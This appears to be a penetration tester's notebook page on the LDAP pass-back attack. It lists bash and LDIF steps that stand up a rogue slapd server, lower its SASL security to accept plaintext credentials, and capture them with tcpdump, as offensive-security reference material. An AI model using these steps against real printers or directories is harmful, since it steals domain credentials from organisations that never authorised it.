> For the complete documentation index, see [llms.txt](https://notebook.aesirsec.io/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://notebook.aesirsec.io/tools/rogue-ldap-servers.md).

# Rogue LDAP Servers

LDAP authentication is a popular mechanism with third-party (non-Microsoft) applications that integrate with AD.

You can also just grab the hash with Responder... Pretty easy.

<https://hacklido.com/blog/282-ldap-pass-back-attack-a-old-printers-story>

<https://www.devilsec.io/2019/04/29/hacking-printers-for-profit/>

{% code overflow="wrap" %}

```bash
sudo apt-get update && sudo apt-get -y install slapd ldap-utils && sudo systemctl enable slapd
sudo dpkg-reconfigure -p low slapd # Configure the LDAP Server
#For the DNS domain name and Organization nameyou want use the target domain name. 
#You can use any password. 
# Select MBD database.
# Do not remove database when slapd is purged.
# Move old database, Yes.

#Make a file named olcSaslSecProps.ldif with the following content. 
dn: cn=config
replace: olcSaslSecProps
olcSaslSecProps: noanonymous,minssf=0,passcred

#Patch LDAP server
sudo ldapmodify -Y EXTERNAL -H ldapi:// -f ./olcSaslSecProps.ldif && sudo service slapd restart

#Check config. This did not work for me it always only showed dn: 
ldapsearch -H ldap:// -x -LLL -s base -b "" supportedSASLMechanisms

# You should now be able to listen for the traffic to come through in plain text with wireshark. 

#Or you can use tcp dump to listen
sudo tcpdump -SX -i $interface tcp port 389

# Disable the server when you're done. 
sudo systemctl disable --now slapd

```

{% endcode %}